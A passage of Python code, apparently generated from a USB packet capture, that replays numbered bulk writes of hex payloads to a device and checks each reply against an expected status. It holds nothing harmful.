b\"\\xAB\\x24\\xEC\\x73\\x30\\x6B\\xB4\\xC9\\xF0\\x96\\x0E\\x7F\\x15\\xC2\\x25\\xA8\"\n b\"\\x57\\xF0\\x1D\\x10\\x6B\\x3A\\xCB\\x33\\x52\\x28\\x6E\\xCF\\x60\\x4B\\x70\\x04\"\n b\"\\x20\\x96\\xCD\\x06\\x9E\\x7C\\xB5\\x28\\xCA\\x4A\\x03\\x82\\x8D\\x97\\x56\\x57\"\n b\"\\xD7\\x37\\x2E\\xC7\\xD1\\xDE\\xF6\\x9F\\x75\\x62\\xE7\\x57\\x98\\xC6\\xA7\\x43\"\n b\"\\xAD\\x3C\\xB5\\x92\\x24\\x39\\x15\\x26\\xAB\\x5D\\x0F\\xAC\\x61\\xB0\\x56\\x99\"\n b\"\\x13\\x4B\\x19\\x72\\x88\\x5D\\x0A\\x9C\\x02\\xCA\\x64\\xD4\\x81\\xEA\\x42\\x28\"\n b\"\\xF2\\x16\\x5D\\x1B\\x0E\\x5C\\xF4\\x4F\\x62\\x1A\\xA1\\x7D\\x23\\x53\\xA2\\x55\"\n b\"\\x1D\\x46\\x4B\\xB1\\x95\\x73\\xF2\\xB0\\x34\\x91\\xA9\\x3C\\xEA\\xAE\\x4C\\x82\"\n b\"\\x31\\x26\\x86\\xBF\\x85\\x55\\x75\\xC3\\x77\\x1C\\x1B\\x66\\xDE\\x33\\x3B\\xD0\"\n b\"\\x1C\\x6E\\x43\\x25\\xF5\\xB4\\xAC\\x77\\xD9\\xCE\\xDE\\x2D\\x2C\\x5F\\xEB\\x40\"\n b\"\\x7E\\x6C\\xEF\\x14\\x76\\xF7\\x3A\\x93\\x98\\xF9\\x5F\\x16\")\n # Generated from packet 1455/1456\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1455/1456\")\n # Generated from packet 1457/1458\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1F\\xB4\\x49\\xDD\\x9A\\x16\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x25\\x1F\\x8E\\x61\\xA1\\x5C\\xAA\\x7F\"\n b\"\\xB7\\x3B\\x43\\x08\\x6C\\x61\\xF4\\x9F\\x4A\\x8E\\xE7\\xBA\\x8B\\xA9\\x33\\xA4\"\n b\"\\xCD\\x2F\\x9B\\x85\\xA8\\xC1\\x3E\\xC8\\x55\\xBA\\xB9\\x9C\\xDF\\x1B\\xBF\\xE5\"\n b\"\\x3D\\xF5\\x1E\\x9F\\x1B\\xC6\\xC5\\x9D\\x24\\x0A\\xBF\\x75\\x6B\\x72\\x74\\x4C\"\n b\"\\x7D\\x08\\xDA\\xA0\\x99\\x46\\x23\\x00\\xCD\\x37\\xCD\\xE1\\x1C\\x2B\\x40\\x6F\"\n b\"\\xC8\\xF5\\x54\\x74\\x9F\\xE6\\x3F\\x44\\x9C\\xD4\\x1D\\xB3\\x23\\x76\\x81\\x3B\"\n b\"\\x82\\x0D\\x97\\x6C\\x94\\xF9\\x76\\xAD\\x00\\x1F\\xF3\\x22\\x0A\\xEC\\x9A\\xE8\"\n b\"\\x0B\\xD9\\xEE\\xA5\\xA6\\x93\\xAA\\x4F\\xC1\\xA0\\x5C\\x4C\\x7C\\xC8\\xA0\\xE3\"\n b\"\\x9F\\x3A\\x3E\\x31\\x36\\x6C\\x0A\\xB3\\x8C\\x32\\x98\\x7D\\x21\\xC1\\x73\\x11\"\n b\"\\xCB\\x25\\xFD\\xFF\\x7E\\xA1\\x99\\x7C\\x51\\xB1\\x56\\xD3\\xF1\\x08\\x2A\\xDF\"\n b\"\\xB6\\x08\\xB8\\xFE\\x13\\x49\\x8C\\x74\\xED\\x39\\x02\\xF8\\x7B\\xC0\\x96\\x6C\"\n b\"\\x86\\x38\\x69\\x2C\\x52\\x59\\x5C\\x5F\\xCF\\xFE\\x36\\x4A\\xEF\\xAA\\x8C\\xC6\"\n b\"\\x1D\\xD4\\xDA\\x6B\\x4F\\xFA\\xD9\\x7D\\xF4\\xE8\\xFE\\x9F\\x4B\\x8E\\x52\\x50\"\n b\"\\xCD\\x33\\xB7\\xBE\\xB1\\xBB\\xAD\\xB2\\x4E\\x9B\\xA4\\x5E\\x2A\\x86\\x03\\xB4\"\n b\"\\x4A\\x51\\xA5\\x1D\\x29\\x44\\x61\\xBD\\x6C\\x16\\x48\\xDE\\x60\\x1E\\x26\\xE5\"\n b\"\\x9D\\x54\\x86\\xAE\\x8C\\xF9\\xB5\\x0D\\x02\\x88\\x30\\xA5\\x9F\\x6D\\x93\\x4D\"\n b\"\\x94\\xA2\\x03\\x60\\xA7\\x34\\xB4\\xE8\\x56\\x62\\xA4\\x8B\")\n # Generated from packet 1459/1460\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1459/1460\")\n # Generated from packet 1461/1462\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEE\\x17\\x8A\\x80\\xE7\\x2F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9C\\x7A\\xF8\\x90\\x8C\\x95\\xE7\\x1E\"\n b\"\\xB7\\x9D\\xBF\\x80\\x70\\x50\\xC6\\x48\\x81\\x73\\xAF\\x1B\\x7F\\xFC\\x88\\xE3\"\n b\"\\xF5\\xA0\\x03\\x0E\\xAC\\x65\\xA2\\xE6\\xB0\\xA4\\x1F\\xF7\\x97\\x92\\xF2\\xD2\"\n b\"\\x6E\\x96\\x3B\\x38\\xF0\\xCB\\x02\\x7D\\xD1\\xB9\\x32\\x12\\x65\\x5F\\x1C\\xFC\"\n b\"\\x6D\\xC0\\x81\\xA7\\x5B\\x65\\x58\\xAB\\x80\\x23\\x25\\x56\\x7F\\xF3\\x40\\x88\"\n b\"\\x1A\\x8F\\xDA\\x1C\\x1E\\x5D\\xCB\\xD3\\xBB\\x48\\x27\\x4C\\x51\\x19\\x55\\x49\"\n b\"\\x77\\xD5\\x95\\x14\\x1A\\x57\\x69\\xED\\xF4\\x23\\xA5\\x3F\\xD0\\xC7\\x1A\\xF1\"\n b\"\\x95\\xC8\\x23\\x02\\x24\\xC2\\xA7\\xF2\\x6C\\xCA\\xB8\\xD9\\x3A\\x84\\x24\\x21\"\n b\"\\x27\\x20\\xE6\\xF1\\x74\\x97\\xFD\\x70\\xA5\\x25\\x24\\x4E\\xD9\\x11\\x22\\x72\"\n b\"\\x85\\x81\\xB8\\x5B\\xC9\\xC8\\x2D\\xCB\\x19\\xDF\\x11\\xB7\\x5E\\xA4\\x0C\\xAD\"\n b\"\\xEF\\x8F\\xA8\\x26\\x36\\x51\\x8E\\x5E\\x47\\x32\\x39\\xEF\\x4E\\x9A\\x7D\\x03\"\n b\"\\xA8\\xCA\\xCD\\x92\\xFE\\xAD\\xD8\\x7D\\x3A\\x51\\x5C\\xE5\\x1A\\x6E\\x91\\x91\"\n b\"\\x90\\x8D\\x26\\x70\\xEE\\x67\\x79\\xCE\\xCC\\xBE\\x17\\xB0\\xE0\\x90\\x3E\\x30\"\n b\"\\x00\\x36\\xF7\\x6F\\x1F\\xDA\\xA8\\x14\\x0C\\xAB\\x0E\\x22\\x1B\\x8B\\x4E\\x8B\"\n b\"\\xCF\\xD5\\x9E\\xE5\\xE7\\xD2\\xCE\\x16\\x9F\\x12\\x30\\x29\\x3D\\xEF\\xFC\\x0C\"\n b\"\\x03\\x90\\x4C\\xFE\\x85\\xEE\\xAD\\x0A\\x59\\x1E\\x60\\xF6\\xC1\\x31\\x16\\xF7\"\n b\"\\xC0\\xCE\\x21\\x7F\\xF2\\xD0\\x40\\x28\\x7D\\xAB\\x56\\xDA\")\n # Generated from packet 1463/1464\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1463/1464\")\n # Generated from packet 1465/1466\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x85\\x34\\xA8\\xA8\\xD9\\x10\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF9\\x11\\x96\\x06\\xED\\x72\\x00\\xB6\"\n b\"\\x2B\\xF2\\xEA\\x44\\xDD\\xC0\\x17\\x25\\x3B\\x18\\xA7\\x06\\x42\\xB9\\x68\\x22\"\n b\"\\xD9\\xDD\\x3B\\xAF\\xA9\\xF2\\xCD\\x1B\\x1D\\x0C\\xB5\\x33\\x82\\x9E\\xC7\\x0B\"\n b\"\\xAF\\x14\\xF4\\x5D\\xE7\\xE7\\x88\\x21\\xD5\\x56\\xA0\\xF0\\x74\\x26\\x9D\\xC2\"\n b\"\\xA3\\x09\\xBC\\xC7\\xA7\\x8B\\x4F\\x2A\\x5D\\xE8\\x82\\x6F\\x55\\xC8\\x92\\x6B\"\n b\"\\xAF\\xAB\\x1F\\x43\\x88\\xE4\\x2C\\xB1\\xB2\\xE4\\x09\\x4F\\x0E\\xCF\\x64\\x74\"\n b\"\\x8A\\x8A\\x73\\xBE\\x83\\x3D\\x50\\x50\\xD3\\xD0\\x00\\xB8\\x18\\x8C\\x84\\x8F\"\n b\"\\x97\\xD1\\x2A\\x96\\xCF\\x72\\x38\\xC0\\xC9\\x92\\xFC\\x3A\\xB9\\xFE\\x9B\\x4C\"\n b\"\\x3F\\x50\\x82\\x14\\x72\\x5E\\x5E\\x1F\\x62\\x8B\\xE2\\x74\\x33\\x44\\x7A\\x6F\"\n b\"\\x75\\xD1\\x55\\xD9\\x47\\x81\\xBC\\xA7\\x54\\x38\\xA0\\x96\\x96\\xDE\\xDC\\xE8\"\n b\"\\x57\\x7A\\x61\\x91\\x64\\x84\\x96\\xD5\\x41\\x39\\x26\\xA2\\xAF\\xE3\\xB9\\x5B\"\n b\"\\x29\\x2A\\x37\\x53\\x9A\\xBA\\x12\\x70\\x71\\xBB\\x47\\x06\\xE4\\x9D\\x4C\\xF7\"\n b\"\\x45\\x16\\xF4\\x29\\xE3\\x95\\x2F\\xA1\\x72\\x83\\x99\\x89\\xAB\\xD5\\xDA\\x91\"\n b\"\\xF3\\x56\\x9B\\x1C\\x6C\\xDB\\x5C\\x6B\\x8E\\x0B\\x89\\xB0\\x85\\xFC\\xDA\\x85\"\n b\"\\x37\\xD1\\xFE\\x53\\xC8\\x2C\\xEB\\x9B\\xC4\\xE5\\x7E\\x9F\\x3C\\x01\\x93\\x48\"\n b\"\\xB8\\x25\\x03\\x35\\x92\\xD6\\xFA\\xEB\\xD1\\x38\\x26\\x10\\x31\\x88\\x07\\x06\"\n b\"\\xF2\\x8E\\xF2\\x45\\x01\\x37\\x82\\xA0\\x4B\\x0C\\xED\\x1C\")\n # Generated from packet 1467/1468\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1467/1468\")\n # Generated from packet 1469/1470\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1A\\x78\\xE3\\x6F\\x23\\x5F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5B\\xC8\\x71\\x15\\xF2\\x06\\xC6\\xFA\"\n b\"\\xA3\\x3A\\x26\\x7B\\xDD\\xAA\\x7F\\xF5\\x2C\\x7E\\xF9\\x90\\x53\\xC2\\x55\\xE6\"\n b\"\\x19\\x97\\x44\\x76\\x86\\xE9\\x5A\\x6C\\x07\\xAC\\xF0\\xDD\\x06\\x1C\\xD7\\x79\"\n b\"\\x5F\\xA0\\x33\\x58\\xB3\\x7D\\x8B\\x30\\x27\\x95\\xFA\\xFE\\x02\\x2A\\xCA\\x39\"\n b\"\\x56\\x3C\\xA0\\x15\\xC3\\xFA\\x90\\x2C\\x4C\\xEF\\xF6\\x8B\\x2E\\xB0\\x01\\x5B\"\n b\"\\xA0\\x61\\x32\\x6F\\xA0\\x80\\xFB\\x70\\x18\\xEA\\xAC\\xEE\\x9B\\x0E\\x13\\x2F\"\n b\"\\x76\\x5F\\x1A\\x5C\\x75\\x49\\x01\\x17\\x1D\\x35\\x76\\x1C\\x86\\xE1\\x3F\\xE2\"\n b\"\\x21\\xAF\\xED\\x93\\x49\\xE1\\xFE\\xED\\x22\\x6A\\xC0\\x49\\x12\\xC2\\x06\\x85\"\n b\"\\x79\\x8B\\x53\\x84\\xE3\\x1F\\x04\\x7A\\xCD\\xF3\\x70\\xA2\\x10\\xEF\\x93\\xA7\"\n b\"\\x41\\x3F\\x0D\\x51\\x40\\xEE\\xAE\\xDD\\x44\\x19\\xA4\\x50\\xA8\\x0F\\x9E\\xB1\"\n b\"\\x06\\x8E\\x39\\xFF\\x9A\\xA2\\x92\\xDA\\x38\\xAF\\x03\\xE0\\x99\\x28\\x87\\x38\"\n b\"\\x28\\x18\\x9D\\xAC\\x22\\xA0\\xD8\\x66\\x51\\x7D\\xC8\\x97\\xE5\\x39\\x7B\\xB9\"\n b\"\\x06\\x30\\xB5\\x43\\x11\\x53\\x8A\\xD3\\x40\\xB8\\x45\\x7C\\xE3\\xFC\\x7D\\xEB\"\n b\"\\x38\\xD9\\x58\\xF7\\xB7\\x9C\\xDC\\x44\\x78\\x01\\x96\\x0A\\xE9\\x3B\\x1E\\xEA\"\n b\"\\xCB\\x67\\x35\\x33\\xA9\\x81\\x24\\x92\\x1F\\x13\\xBC\\xA1\\x09\\x2D\\x9C\\xFB\"\n b\"\\xD2\\x61\\x51\\x39\\xA1\\x34\\xEB\\x3E\\xB9\\x23\\xAB\\x5A\\x05\\x97\\x86\\x30\"\n b\"\\xB7\\x08\\x2C\\x51\\xAD\\x8F\\x43\\x58\\x3C\\x97\\x8B\\xE4\")\n # Generated from packet 1471/1472\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1471/1472\")\n # Generated from packet 1473/1474\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD3\\x2E\\xDF\\x49\\xD1\\x79\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC7\\xA5\\xC2\\xED\\xFF\\xF0\\x1F\\x67\"\n b\"\\xAD\\x45\\x4C\\x1F\\xE8\\x1E\\x76\\x97\\xDF\\x8E\\xBA\\x1C\\xB4\\x99\\x3F\\x3C\"\n b\"\\xF8\\xFF\\x9F\\xBF\\x31\\xB7\\x49\\x88\\x18\\x21\\xEB\\xA9\\xC4\\x45\\x18\\xBE\"\n b\"\\xD5\\x31\\xDA\\x2D\\x7F\\x6D\\x7C\\x1F\\x82\\xE6\\xDB\\x18\\x9D\\xE1\\x6C\\xB4\"\n b\"\\xF8\\x5C\\x7D\\x16\\xEC\\xCE\\xA3\\x25\\x39\\x7A\\x26\\x25\\x2E\\xA5\\xA3\\x1D\"\n b\"\\x20\\x47\\x65\\xF4\\xBD\\x4F\\x89\\x48\\xFC\\x8D\\x22\\x70\\x05\\x25\\x1A\\x63\"\n b\"\\xE7\\x21\\x69\\x17\\x51\\xF5\\x95\\x71\\xF2\\xFA\\x2F\\xBB\\xAA\\x4B\\x14\\x8E\"\n b\"\\x94\\xEE\\xA7\\x48\\x56\\xC2\\xB9\\x47\\x55\\x54\\x61\\x82\\x02\\x20\\x6E\\x8C\"\n b\"\\xB5\\xB5\\x6D\\x54\\x86\\xF5\\xB8\\x04\\x73\\xFB\\x12\\xA2\\x14\\xE7\\x18\\x91\"\n b\"\\xDE\\x89\\xBC\\xF0\\x10\\x93\\x9C\\xEF\\x10\\x19\\x06\\x38\\xF8\\x7A\\xC0\\x3F\"\n b\"\\x2D\\x73\\xBE\\xEB\\xD8\\x0B\\x3F\\xC2\\x2B\\x46\\x75\\x53\\x7B\\x8D\\x2D\\x1A\"\n b\"\\x7D\\xEE\\x51\\x9B\\x86\\x84\\x46\\x89\\x42\\xBB\\x69\\x37\\x35\\xFF\\x82\\x5C\"\n b\"\\x33\\x3C\\xFF\\x12\\xE2\\xD2\\x93\\xA7\\x4F\\xF3\\x6B\\xE3\\xC3\\x20\\x71\\xBB\"\n b\"\\xC2\\xFF\\xA4\\x90\\x22\\xB7\\x98\\x03\\x1A\\xE2\\xC4\\x3D\\x0F\\xDE\\xD1\\x0B\"\n b\"\\xF9\\xD5\\xF2\\x3D\\x4A\\x1A\\x4D\\x01\\x66\\xBC\\x9B\\x4E\\xED\\x8A\\xC1\\x3F\"\n b\"\\x11\\x74\\x96\\xC7\\xAB\\x9D\\xE5\\xE9\\x94\\x0C\\xB2\\xC1\\x05\\x4F\\x12\\x73\"\n b\"\\x72\\x5D\\xA2\\xC2\\x26\\xBE\\xCB\\xE2\\x5C\\xC1\\x22\\xAB\")\n # Generated from packet 1475/1476\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1475/1476\")\n # Generated from packet 1477/1478\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE8\\x0D\\xAA\\x4D\\x55\\x4E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x45\\x50\\xE3\\x96\\x28\\x17\\x87\\xEF\"\n b\"\\xBB\\x52\\xF7\\x3E\\xD4\\xD6\\x0F\\x06\\x6A\\xBF\\xBB\\x9F\\x45\\x90\\xB1\\x9A\"\n b\"\\x99\\x1C\\x59\\xFC\\x65\\xD0\\xD2\\xFC\\xFC\\xA5\\x2F\\xA3\\x19\\x5C\\xED\\x37\"\n b\"\\x67\\x8B\\xE3\\x6E\\xE2\\x67\\xB0\\x9C\\x64\\x00\\x2A\\x85\\x12\\x31\\xF0\\xA6\"\n b\"\\x5D\\x1B\\x55\\x2E\\xFE\\x89\\x4F\\x99\\xF1\\xC3\\x3C\\x9A\\x36\\x77\\x42\\x37\"\n b\"\\x3C\\x06\\xF1\\xE1\\x8A\\xC7\\x10\\xE4\\xAD\\xB7\\x2B\\xE0\\xC1\\xEF\\xDC\\x9B\"\n b\"\\xD7\\x3F\\xE6\\x1F\\xF6\\xED\\x23\\x37\\x5E\\x1C\\x80\\xF4\\x25\\xDA\\xDF\\x22\"\n b\"\\x2B\\x3C\\x08\\xBC\\xC5\\x3A\\xC1\\xEF\\x63\\x53\\x73\\x44\\x94\\x01\\x93\\x52\"\n b\"\\x67\\xC5\\x9F\\x68\\xC5\\xEB\\x8F\\xA3\\xDE\\xD9\\xB9\\x25\\x7C\\x75\\x6E\\x51\"\n b\"\\xB9\\xE2\\xF1\\x34\\xEC\\xF2\\xC3\\xF1\\xBC\\xDD\\xF1\\xFC\\xFC\\x24\\xAF\\x06\"\n b\"\\x13\\x0E\\x63\\xB1\\xE6\\x99\\x3E\\x48\\xCC\\x6E\\xF4\\xC9\\x02\\xE6\\xAA\\xE0\"\n b\"\\x08\\x29\\xE7\\x29\\x35\\xB0\\x63\\xC1\\x52\\x49\\xF7\\x66\\xAB\\x2E\\x42\\x18\"\n b\"\\x76\\x83\\x0D\\x36\\x27\\x65\\xA4\\x96\\x6C\\x40\\x1C\\xF5\\x5A\\x37\\xC6\\xAA\"\n b\"\\x5F\\xB6\\x4A\\x9F\\x75\\x2E\\xDF\\x1D\\xCC\\x67\\xF8\\xC3\\x16\\x92\\xFE\\x37\"\n b\"\\x29\\x8A\\xBB\\x01\\x78\\x10\\x3C\\x0F\\xCB\\x58\\x4F\\xC4\\x7C\\x14\\x99\\xDA\"\n b\"\\x49\\x5B\\x89\\x56\\x61\\x26\\xE0\\xB8\\xBD\\x50\\x3E\\x06\\xD7\\x75\\x4A\\xA5\"\n b\"\\x2A\\x93\\x8A\\x8D\\x9B\\xFE\\x38\\x2E\\xEE\\xC9\\x47\\x09\")\n # Generated from packet 1479/1480\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1479/1480\")\n # Generated from packet 1481/1482\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x79\\xCB\\x7B\\xAB\\x90\\x03\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x68\\x4D\\x14\\xA6\\x37\\x2C\\x7B\\xA5\"\n b\"\\x39\\xB6\\xA2\\x11\\x54\\x90\\xD5\\xCB\\xAF\\xE5\\x63\\x3F\\xF0\\xB7\\x3C\\xD8\"\n b\"\\xA2\\xAA\\x85\\x55\\xE5\\xCE\\x64\\x36\\x84\\x19\\x76\\x93\\x65\\x34\\x9D\\x32\"\n b\"\\x2C\\x2D\\x23\\xBC\\xF7\\xE0\\xA5\\xC5\\xC0\\x9C\\x39\\x73\\x25\\xC5\\x04\\x02\"\n b\"\\x45\\x6A\\x36\\x4E\\x4C\\x07\\x55\\xEC\\x65\\x33\\xD0\\x30\\x77\\x26\\xD2\\x22\"\n b\"\\x9E\\x6A\\x08\\x90\\x64\\xC4\\x24\\xC5\\x8F\\x40\\xE1\\x8C\\x01\\x99\\xB2\\xD3\"\n b\"\\x94\\xB3\\xAB\\xCD\\x0D\\xFC\\x0B\\x62\\x1B\\x55\\xF5\\xB1\\x1D\\xC2\\xBF\\x95\"\n b\"\\xF2\\x6E\\x90\\xFE\\xB3\\x1A\\x2D\\x1F\\x79\\x19\\x82\\xAC\\x9D\\x73\\x65\\xB7\"\n b\"\\xD2\\x7A\\x97\\xC0\\x81\\x23\\x22\\x10\\xC9\\xF2\\xE8\\x88\\x6E\\xCC\\x71\\xE2\"\n b\"\\x7F\\xA5\\x41\\x39\\x99\\x96\\xEC\\xB1\\xB5\\x8C\\x77\\x78\\x5B\\x7E\\x4C\\x7F\"\n b\"\\xDC\\xFD\\xF7\\xFF\\xD9\\xB6\\xC6\\xAD\\x9B\\xD6\\xDD\\x53\\xBC\\xF4\\x9D\\xCA\"\n b\"\\x67\\x3F\\x3E\\x07\\x81\\xA5\\xA3\\xA2\\xB1\\xEB\\xF4\\x43\\x25\\x76\\x0E\\xFC\"\n b\"\\x66\\x08\\xDE\\x6F\\x87\\x9A\\x4A\\xCC\\xD6\\x48\\x68\\xD0\\x7C\\x16\\x0F\\x8A\"\n b\"\\xD7\\x5D\\x5F\\x9E\\xAC\\x6C\\x84\\x4E\\x96\\x91\\x5F\\x45\\x9F\\x8C\\x19\\xE8\"\n b\"\\xFC\\xF5\\xD5\\x3D\\xE7\\x2B\\x02\\xAB\\x66\\xA7\\x6B\\x15\\x8B\\x32\\xFE\\x2B\"\n b\"\\x54\\x38\\xD5\\x25\\xFC\\x11\\xD6\\xB2\\xC6\\xC6\\xF2\\x3A\\xE2\\x54\\xD5\\x72\"\n b\"\\xAC\\x44\\xD2\\x4D\\x46\\x21\\x99\\x9E\\x8D\\x13\\x18\\x3E\")\n # Generated from packet 1483/1484\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1483/1484\")\n # Generated from packet 1485/1486\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD2\\x7F\\x20\\xD6\\x38\\x2A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB7\\xA1\\xAB\\xFB\\x2D\\x58\\x57\\xF4\"\n b\"\\x18\\x93\\x15\\x11\\x91\\x9F\\x18\\xA8\\x1D\\x2B\\xD8\\x2D\\x42\\x15\\x91\\x62\"\n b\"\\xBF\\x09\\xD0\\x84\\x6D\\x58\\xBC\\xBC\\x19\\x22\\x71\\xDC\\x93\\xBC\\xDE\\x2B\"\n b\"\\x1C\\x2E\\x6E\\x5E\\x7E\\x56\\x7F\\xEB\\x94\\x69\\xD1\\xB4\\x56\\x69\\x54\\x56\"\n b\"\\x22\\x83\\xB0\\x40\\xE8\\x57\\x1A\\x23\\xC4\\x6A\\xF0\\xDD\\x77\\x1B\\x95\\x71\"\n b\"\\xC1\\xB1\\x2F\\xBB\\x87\\x0F\\x14\\x8E\\xB1\\x67\\xA7\\x48\\x7B\\x66\\x7B\\x4F\"\n b\"\\x8B\\xDB\\xA0\\x1D\\x84\\x96\\x52\\x24\\xD2\\x17\\xD8\\x63\\x0A\\xE2\\x9E\\xED\"\n b\"\\x1C\\x79\\xAF\\xD5\\xBC\\x19\\xE0\\xD2\\x23\\xCF\\x33\\x4E\\x7A\\x9A\\x13\\x31\"\n b\"\\xCC\\x86\\x18\\x08\\x21\\x2F\\x4F\\xE1\\xFD\\xEC\\xFA\\xBC\\xB4\\xBB\\xAE\\x0A\"\n b\"\\x42\\x43\\x87\\x83\\xBB\\xE7\\x2E\\x23\\xC4\\xC4\\xC0\\x4B\\x7D\\x65\\x46\\x89\"\n b\"\\x7F\\xD9\\x4F\\x91\\x9D\\xB1\\x99\\xDC\\x04\\xB4\\xC9\\x2A\\x09\\xA0\\xE1\\xE7\"\n b\"\\x50\\x10\\x4B\\x5B\\x2B\\x68\\xBE\\xC1\\xFC\\xA5\\x72\\x6C\\x7B\\x0D\\x08\\xE7\"\n b\"\\xAD\\x01\\x67\\x15\\xA3\\x06\\xCC\\x32\\x40\\xE5\\xB2\\x9C\\xDB\\x8E\\xDC\\xB8\"\n b\"\\xD1\\xC7\\xD4\\xFE\\xBE\\x96\\x72\\x16\\xB3\\xB0\\xF1\\x6C\\x02\\xA3\\x65\\xFD\"\n b\"\\x79\\x5A\\xBF\\x94\\x07\\x49\\x9D\\xCD\\xB6\\x88\\xB2\\xC2\\x1F\\x57\\x6A\\x74\"\n b\"\\xD4\\xDF\\x50\\x01\\xB6\\xFF\\x4F\\xAC\\x57\\x1D\\x08\\xA2\\x8A\\x9D\\x34\\x2F\"\n b\"\\x6E\\x61\\xDA\\x87\\x99\\x12\\xE1\\x32\\x4C\\x1E\\x61\\x7E\")\n # Generated from packet 1487/1488\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1487/1488\")\n # Generated from packet 1489/1490\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x19\\xAE\\x91\\x49\\x28\\x07\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD8\\xD3\\x76\\x18\\xBD\\x82\\x68\\xA2\"\n b\"\\x88\\xFF\\xAF\\x09\\xAA\\xD6\\x94\\xDC\\x36\\x03\\x78\\xF0\\xD2\\x0A\\xA4\\x12\"\n b\"\\x85\\x4C\\x0A\\x97\\x0D\\xE0\\xCC\\xA1\\xC8\\x97\\xD7\\x2F\\x27\\x60\\xB2\\xFA\"\n b\"\\x25\\xD9\\x15\\x4D\\x8E\\x1E\\xDE\\xB8\\x23\\xF6\\xBC\\x80\\x1D\\x4B\\xAA\\x7F\"\n b\"\\xA8\\xB5\\xAA\\x2B\\x0B\\x35\\x0D\\x46\\xA7\\x91\\x5E\\xC5\\x55\\x41\\xF7\\x58\"\n b\"\\x47\\xB0\\xF4\\xC0\\xA0\\x9F\\x4F\\x53\\x5A\\xB6\\xD6\\x67\\x16\\xB3\\x8A\\xF6\"\n b\"\\x6C\\x16\\xC6\\xF0\\xBD\\xEA\\x71\\x95\\x5B\\x74\\x24\\xCA\\x89\\x8D\\x34\\xA3\"\n b\"\\xBD\\x60\\xAE\\x5A\\xA3\\x01\\x7C\\x1F\\xCE\\x28\\x7E\\xDD\\x17\\x5E\\x35\\x63\"\n b\"\\xCF\\x13\\xB1\\x32\\xB8\\x1B\\x11\\x9F\\x57\\x4B\\xD2\\x6F\\xD5\\x52\\x20\\x69\"\n b\"\\x2E\\xF9\\x8D\\x6C\\x84\\x9C\\x28\\x09\\xF0\\x2E\\x64\\xD3\\x7B\\x55\\x9D\\x2B\"\n b\"\\xD6\\xB4\\xB0\\x05\\x75\\xC1\\xBB\\xB8\\x5D\\x32\\x48\\xC8\\x30\\x33\\x08\\xF8\"\n b\"\\x60\\x06\\x93\\xC5\\x36\\x5E\\x97\\x28\\xEC\\xF2\\xEB\\x54\\x45\\x76\\xFF\\x23\"\n b\"\\x9B\\x1A\\xE2\\xD3\\xD1\\x47\\x99\\xE1\\x84\\x7E\\x51\\x17\\x48\\x19\\x76\\x50\"\n b\"\\x93\\x98\\xDA\\xF4\\xF7\\xBA\\xB4\\x6B\\x3B\\x24\\xDE\\x08\\xE8\\x28\\x82\\x50\"\n b\"\\x54\\xA2\\x0B\\xD3\\x46\\x1B\\x0E\\x1A\\xE7\\xE2\\x7F\\xA6\\xCC\\x72\\x45\\x47\"\n b\"\\x80\\x28\\xEE\\x5C\\x85\\xF6\\xDD\\xE1\\xC8\\x9B\\x04\\x41\\x78\\x32\\x20\\x7C\"\n b\"\\x4A\\x8A\\x07\\x2E\\x16\\xCB\\xF1\\x3C\\x77\\xD9\\xC3\\xF1\")\n # Generated from packet 1491/1492\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1491/1492\")\n # Generated from packet 1493/1494\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5B\\x98\\x07\\x1D\\xD1\\x51\\x00\\x00\"\n 